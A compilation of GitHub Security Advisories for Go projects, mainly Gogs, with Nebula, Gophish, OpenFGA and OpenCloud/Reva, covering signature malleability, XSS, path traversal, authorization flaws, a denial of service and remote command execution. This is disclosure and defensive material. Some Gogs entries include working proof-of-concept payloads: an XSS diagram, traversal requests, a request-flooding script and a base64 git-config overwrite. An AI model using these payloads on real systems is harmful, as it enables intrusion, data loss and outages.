deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-69x3-g4r3-p962
Package: github.com/slackhq/nebula (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: >= 1.7.0, <= 1.10.2
Patched in: 1.10.3

Summary: Blocklist Bypass possible via ECDSA Signature Malleability

Details:
### Impact

When using P256 certificates (which is not the default configuration), it is possible to evade a blocklist entry created against the fingerprint of a certificate by using ECDSA Signature Malleability to use a copy of the certificate with a different fingerprint.

In order for this to affect a user or network, all of the following must be true:
* `CURVE_P256` certificates are being used
* There are one or more entries on the blocklist
* The certificates for those entries are signed by a trusted CA and not expired
* An attacker has a copy of the private key, and corresponding certificate, for one of those blocklist entries

### Patches

See attached

### Workarounds

If full copies of each certificate on the existing blocklist are available, it is possible to compute their opposite-chirality signature, and then the appropriate second fingerprint to list in the blocklist.

Rotating out all CAs that have signed hosts on the blocklist will also prevent exploitation of this vulnerability.
GitHub Security Advisory: GHSA-9f8m-9547-2gqm
Package: github.com/gophish/gophish (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-284: Improper Access Control
Vulnerable versions: <= 0.12.1
Patched in: unpatched

Summary: Gophish is vulnerable to Incorrect Access Control

Details:
Gophish <= 0.12.1 is vulnerable to Incorrect Access Control. The administrative dashboard exposes each user’s long-lived API key directly inside the rendered HTML/JavaScript of the page on every login. This makes permanent API credentials accessible to any script running in the browser context.
GitHub Security Advisory: GHSA-ffx7-34p2-vm3w
Package: github.com/mattermost/mattermost-plugin-confluence (GO)
Severity: HIGH (CVSS 7.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 1.7.0
Patched in: 1.7.0

Summary: Mattermost Confluence plugin doesn't properly escape user-controlled display names in HTML template rendering

Details:
Mattermost Confluence plugin version < 1.7.0 fails to properly escape user-controlled display names in HTML template rendering which allows authenticated Confluence users with malicious display names to execute arbitrary JavaScript in victim browsers via sending a specially crafted OAuth2 connection link that, when visited, renders the attacker's display name without proper sanitization. Mattermost Advisory ID: MMSA-2025-00557
GitHub Security Advisory: GHSA-26gq-grmh-6xm6
Package: gogs.io/gogs (GO)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-1395: Dependency on Vulnerable Third-Party Component
Vulnerable versions: <= 0.13.3
Patched in: 0.13.4

Summary: Gogs vulnerable to Stored XSS via Mermaid diagrams

Details:
### Summary
Stored XSS via mermaid diagrams due to usage of vulnerable renderer library

### Details
Gogs introduced support for rendering mermaid diagrams in version [0.13.0.](https://github.com/gogs/gogs/releases/tag/v0.13.0)

Currently used version of the library [mermaid 11.9.0](https://github.com/gogs/gogs/tree/main/public/plugins/mermaid-11.9.0) is vulnerable to at least two XSS scenarios with publicly available payloads

Resources:
https://github.com/mermaid-js/mermaid/security/advisories/GHSA-7rqq-prvp-x9jh
https://github.com/mermaid-js/mermaid/security/advisories/GHSA-8gwm-58g9-j8pw

### PoC

1. Create a markdown file eg. `README.md` containing following malicious mermaid diagram (payload based on [CVE-2025-54880](https://github.com/mermaid-js/mermaid/security/advisories/GHSA-8gwm-58g9-j8pw))
```
architecture-beta
    group api(cloud)[API]
    service db "<img src=x onerror=\"alert(document.domain)\">" [Database] in api
```
2. The XSS should pop whenever either repository or file is viewed

#### Demo

https://github.com/user-attachments/assets/98320f62-6c1c-4254-aa61-95598c725235

### Impact
The attacker can potentially achieve account takeover
In a worst case scenario if the victim were an instance admin this could lead to a compromise of the entire deployment

### Proposed remediation steps
1. Upgrade to a patched version of the third party library
https://github.com/mermaid-js/mermaid/releases/tag/v10.9.5
2. Consider running mermaid using `sandbox` level which would mitigate impact of future potential cross-site scripting issues
https://mermaid.js.org/config/usage.html#securitylevel
GitHub Security Advisory: GHSA-jp7c-wj6q-3qf2
Package: gogs.io/gogs (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 0.13.3
Patched in: 0.13.4

Summary: Gogs vulnerable to arbitrary file deletion via Path Traversal in wiki page update

Details:
### Summary
A Path Traversal vulnerability exists in the `updateWikiPage` function of Gogs. The vulnerability allows an authenticated user with write access to a repository's wiki to delete arbitrary files on the server by manipulating the `old_title` parameter in the wiki editing form.

### Vulnerability Deatils
The vulnerability is located in `internal/database/wiki.go`. When updating a wiki page, the application accepts an `old_title` parameter to identify the potential rename operation. This parameter is used directly in `path.Join` and `os.Remove` without proper sanitization.

Code snippet from `internal/database/wiki.go`:
```go
// Line 114
os.Remove(path.Join(localPath, oldTitle+".md"))
```

If an attacker provides a path traversal sequence (e.g., `../../../../target`) as `old_title`, the `os.Remove` function will resolve the path relative to the wiki's local directory and delete the target file. The vulnerability is limited to deleting files that end with `.md` (due to the appended extension), but depending on the filesystem and specific `path.Join` behavior, or if critical `.md` files exist (e.g. documentation, other wikis), the impact is significant. Additionally, in some contexts, the extension might be bypassed or ignored.

### Impact
- **Denial of Service**: Deletion of critical configuration files or data (if they match the extension or via other tricks).
- **Data Loss**: Deletion of other users' wiki pages or documentation.

### Remediation
Sanitize the `oldTitle` parameter using `ToWikiPageName` (or `path.Clean` and basename validation) before using it in file operations, similar to how the new `title` is currently handled.

```go
// Recommended Fix
if oldTitle != "" {
    oldTitle = ToWikiPageName(oldTitle)
}
```

### Reproduction Steps
1.  Log in to Gogs as a user with write access to a repository wiki.
2.  Intercept the `POST` request to `/repo/wiki/edit`.
3.  Modify the `old_title` parameter to `../../../../tmp/target_file`.
4.  Submit the request.
5.  Observe that `/tmp/target_file.md` is deleted from the server.
GitHub Security Advisory: GHSA-mrph-w4hh-gx3g
Package: gogs.io/gogs (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 0.13.3
Patched in: 0.13.4

Summary: Gogs has arbitrary file read/write via Path Traversal in Git hook editing

Details:
## Vulnerability Description

In the endpoint:

```
/username/reponame/settings/hooks/git/:name
```

the `:name` parameter:

* Is URL-decoded by **macaron routing**, allowing decoded slashes (`/`)
* Is then passed directly to:

```go
git.Repository.Hook("custom_hooks", name)
```

which internally resolves the path as:

```go
filepath.Join(repoPath, "custom_hooks", name)
```

Because no path sanitization is applied, supplying `../` sequences allows access to **arbitrary paths outside the repository**.

### As a Result:

* **GET:** Arbitrary file contents are displayed in the hook edit page textarea (**Local File Inclusion**).
* **POST:** Existing files can be overwritten with attacker-controlled content (**Arbitrary File Write**).

---

## Attack Prerequisites

* The attacker is an authenticated user
* The attacker has **Admin or higher privileges** on the target repository
* The attacker has the **AllowGitHook** permission (or is a site administrator)
* The target file is readable/writable by the **Gogs process OS permissions**

---

## Attack Scenario

1. An attacker (with AllowGitHook + repository Admin privileges) accesses the Git hook edit URL
2. A path containing `../` is supplied in `:name`, fully URL-encoded using `%2f`
3. The server resolves `custom_hooks/../../...` without validation
4. Arbitrary file contents are displayed and existing files can be overwritten

---

## Potential Impact

* **Sensitive information disclosure:** `app.ini`, databases, logs, environment variables, etc.
* **Configuration or data tampering:** Overwriting existing files
* **Secondary impact:** Extraction of `SECRET_KEY` and database credentials may allow token forging or further compromise
GitHub Security Advisory: GHSA-5qhx-gwfj-6jqr
Package: gogs.io/gogs (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-862: Missing Authorization, CWE-863: Incorrect Authorization
Vulnerable versions: <= 0.13.3
Patched in: 0.13.4

Summary:  Gogs user can update repository content with read-only permission

Details:
## Vulnerability Description

The endpoint
`PUT /repos/:owner/:repo/contents/*`
does not require write permissions and allows access with **read permission only** via `repoAssignment()`.

After passing the permission check, `PutContents()` invokes `UpdateRepoFile()`, which results in:

* Commit creation
* Execution of `git push`

As a result, a token with **read-only permission** can be used to modify repository contents.

---

## Attack Prerequisites

* Possession of a valid access token
* Read permission on the target repository
  (public repository or collaborator with read access)

---

## Attack Scenario

1. The attacker accesses the target repository with a read-only token
2. The attacker sends a `PUT /contents` request to update an arbitrary file
3. The server creates a commit and performs a git push on behalf of the attacker

---

## Potential Impact

* Source code tampering
* Injection of backdoors
* Compromise of release artifacts and distributed packages
GitHub Security Advisory: GHSA-cr88-6mqm-4g57
Package: gogs.io/gogs (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-862: Missing Authorization
Vulnerable versions: <= 0.13.3
Patched in: 0.13.4

Summary: Gogs has a Denial of Service issue

Details:
### Summary
An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.

### Details
If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits.
https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337
if `err != nil` `m` is alwasa `nil`
https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278
### PoC
Spam mirror-sync on repo and delete this repo
code python spam mirror-sync
```py
import requests

url = "http://gogs.lan:3000/superuser/gobypass403/settings"
headers = {
    "Cookie": "lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
}

data = {
    "_csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
    "action": "mirror-sync",
}

while True:
    print("syncing")
    response = requests.post(url, headers=headers, data=data)
```
### Impact
Denial of Service server crash.
GitHub Security Advisory: GHSA-gg64-xxr9-qhjp
Package: gogs.io/gogs (GO)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 0.13.3
Patched in: 0.13.4

Summary: Gogs's update .git/config file allows remote command execution

Details:
### Summary
Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the `.git` directory and achieve remote command execution.

### Details
Function `UpdateRepoFile` security check under some if conditions. While UpdateRepoFile call in API router  will NOT match any of them.  It's still possible to update `.git/config` file via API router.
https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206



### PoC
```bash
# add a symlink file and push to repo.
ln -s .git/config link
git add link
git commit -m 'add' && git push
```

Update file via API router
```http
PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1
Content-Type: application/json
Host: localhost:3000
Authorization: token {token}

{"message":"message","committer":{"name":"test","email":"a@b.com"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"}
```

### Impact
RCE
GitHub Security Advisory: GHSA-jq9f-gm9w-rwm9
Package: github.com/openfga/openfga (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 1.8.5, <= 1.11.2
Patched in: 1.11.3

Summary: OpenFGA Improper Policy Enforcement

Details:
### Impact
OpenFGA v1.8.5 to v1.11.2 ( openfga-0.2.22 <= Helm chart <= openfga-0.2.51, v.1.8.5 <= docker <= v.1.11.2) are vulnerable to improper policy enforcement when certain Check calls are executed.


### Affected Users
Users are affected by this vulnerability if all of the following preconditions are met:
- OpenFGA v1.8.5 to v1.11.2 is being used
- The model has a relation directly assignable by a [type bound public access](https://openfga.dev/docs/concepts#what-is-type-bound-public-access) and assignable by type bound non-public access
- A tuple is assigned for the relation that is a type bound public access
- A tuple is assigned for the same object with the same relation that is not type bound public access
- A tuple is assigned for a different object that has an object ID lexicographically larger with the same user and relation which is not type bound public access


### Fix
Upgrade to v1.11.3. This upgrade is backwards compatible.

### Workaround
None
GitHub Security Advisory: GHSA-vf5j-r2hw-2hrw
Package: github.com/opencloud-eu/opencloud (GO)
Severity: HIGH (CVSS 8.2)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 5.0.0, < 5.0.2
Patched in: 5.0.2

Summary: OpenCloud Affected by Public Link Exploit

Details:
### Impact

A security issue was discovered in [Reva](https://github.com/opencloud-eu/reva) that enables a malicious user to bypass the scope validation of a public link. That allows it to access resources outside the scope of a public link.

OpenCloud uses Reva as one of its core components and thus it is affected.

### Patches

Update to OpenCloud version >= 4.0.3 (stable release)
Update to OpenCloud version >= 5.0.2 (rolling release)

### Workarounds

If projects are unable to update immediately, please implement the following security configuration to disable public link shares temporarily until the final solution for this problem is rolled out.

#### Configuration Adjustment

* Docker Compose: Edit the docker-compose.yml and add `GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT=“”` (empty string value) in the `environment` section of the `opencloud` container.


#### Verification of Mitigation

Execute the following test: 
- Create a public link for testing. 
- Open the link url in a private (no active login) browser tab. 
- An error page with “unknown error” will be displayed.

This configuration provides immediate protection and should be implemented immediately. Configuration mitigation is available. It mitigates the problem completely.

### For more information

If there are questions or comments about this advisory:

- Security Support: [security@opencloud.eu](mailto:security@opencloud.eu)
- Technical Support: [support@opencloud.eu](mailto:support@opencloud.eu)
GitHub Security Advisory: GHSA-vf5j-r2hw-2hrw
Package: github.com/opencloud-eu/opencloud (GO)
Severity: HIGH (CVSS 8.2)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 4.0.0, < 4.0.3
Patched in: 4.0.3

Summary: OpenCloud Affected by Public Link Exploit

Details:
### Impact

A security issue was discovered in [Reva](https://github.com/opencloud-eu/reva) that enables a malicious user to bypass the scope validation of a public link. That allows it to access resources outside the scope of a public link.

OpenCloud uses Reva as one of its core components and thus it is affected.

### Patches

Update to OpenCloud version >= 4.0.3 (stable release)
Update to OpenCloud version >= 5.0.2 (rolling release)

### Workarounds

If projects are unable to update immediately, please implement the following security configuration to disable public link shares temporarily until the final solution for this problem is rolled out.

#### Configuration Adjustment

* Docker Compose: Edit the docker-compose.yml and add `GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT=“”` (empty string value) in the `environment` section of the `opencloud` container.


#### Verification of Mitigation

Execute the following test: 
- Create a public link for testing. 
- Open the link url in a private (no active login) browser tab. 
- An error page with “unknown error” will be displayed.

This configuration provides immediate protection and should be implemented immediately. Configuration mitigation is available. It mitigates the problem completely.

### For more information

If there are questions or comments about this advisory:

- Security Support: [security@opencloud.eu](mailto:security@opencloud.eu)
- Technical Support: [support@opencloud.eu](mailto:support@opencloud.eu)
GitHub Security Advisory: GHSA-9j2f-3rj3-wgpg
Package: github.com/opencloud-eu/reva/v2 (GO)
Severity: HIGH (CVSS 8.2)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-863: Incorrect Authorization
Vulnerable versions: >= 2.41.0, < 2.42.3
Patched in: 2.42.3

Summary: OpenCloud Reva has a Public Link Exploit

Details:
### Impact

A security issue was discovered in Reva based products that enables a malicious user to bypass the scope validation of a public link, allowing it to access resources outside the scope of a public link.

### Details

Public link shares in OpenCloud are bound to a specific scope (usually a file or directory). Anonymous users accessing resources via this public link share are only allowed to access the share resource itself and, in case of a directory or space root, all child resources of it.

Due to a bug in the GRPC authorization middleware of the "Reva" component of OpenCloud a malicious user is able to bypass the scope verification. By exploiting this via the the "archiver" service this can be leveraged to create an archive (zip or tar-file) containing all resources that this creator of the public link has access to.

It is not possible to bypass the public link scope via "normal" WebDAV requests so it is not possible to exploit this vulnerability via WebDAV.

### Patches

Update to OpenCloud Reva version >= 2.40.3 for the 2.40.x versions.\
Update to OpenCloud Reva version >= 2.42.3 for the 2.41.x versions

### Workarounds

There is no workaround because one cannot run Reva standalone from this project. Please check the [OpenCloud Advisory](https://github.com/opencloud-eu/opencloud/security/advisories/GHSA-vf5j-r2hw-2hrw) how to mitigate the problem in an OpenCloud deployment via configuration.

### For more information

If there are any questions or comments about this advisory:

- Security Support: [security@opencloud.eu](mailto:security@opencloud.eu)
- Technical Support: [support@opencloud.eu](mailto:support@opencloud.eu)
GitHub Security Advisory: GHSA-9j2f-3rj3-wgpg
Package: github.com/opencloud-eu/reva/v2 (GO)
Severity: HIGH (CVSS 8.2)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-863: Incorrect Authorization
Vulnerable versions: <= 2.40.1
Patched in: 2.40.3

Summary: OpenCloud Reva has a Public Link Exploit

Details:
### Impact

A security issue was discovered in Reva based products that enables a malicious user to bypass the scope validation of a public link, allowing it to access resources outside the scope of a public link.

### Details

Public link shares in OpenCloud are bound to a specific scope (usually a file or directory). Anonymous users accessing resources via this public link share are only allowed to access the share resource itself and, in case of a directory or space root, all child resources of it.

Due to a bug in the GRPC authorization middleware of the "Reva" component of OpenCloud a malicious user is able to bypass the scope verification. By exploiting this via the the "archiver" service this can be leveraged to create an archive (zip or tar-file) containing all resources that this creator of the public link has access to.

It is not possible to bypass the public link scope via "normal" WebDAV requests so it is not possible to exploit this vulnerability via WebDAV.

### Patches

Update to OpenCloud Reva version >= 2.40.3 for the 2.40.x versions.\
Update to OpenCloud Reva version >= 2.42.3 for the 2.41.x versions

### Workarounds

There is no workaround because one cannot run Reva standalone from this project. Please check the [OpenCloud Advisory](https://github.com/opencloud-eu/opencloud/security/advisories/GHSA-vf5j-r2hw-2hrw) how to mitigate the problem in an OpenCloud deployment via configuration.

### For more information

If there are any questions or comments about this advisory:

- Security Support: [security@opencloud.eu](mailto:security@opencloud.eu)
- Technical Support: [support@opencloud.eu](mailto:support@opencloud.eu)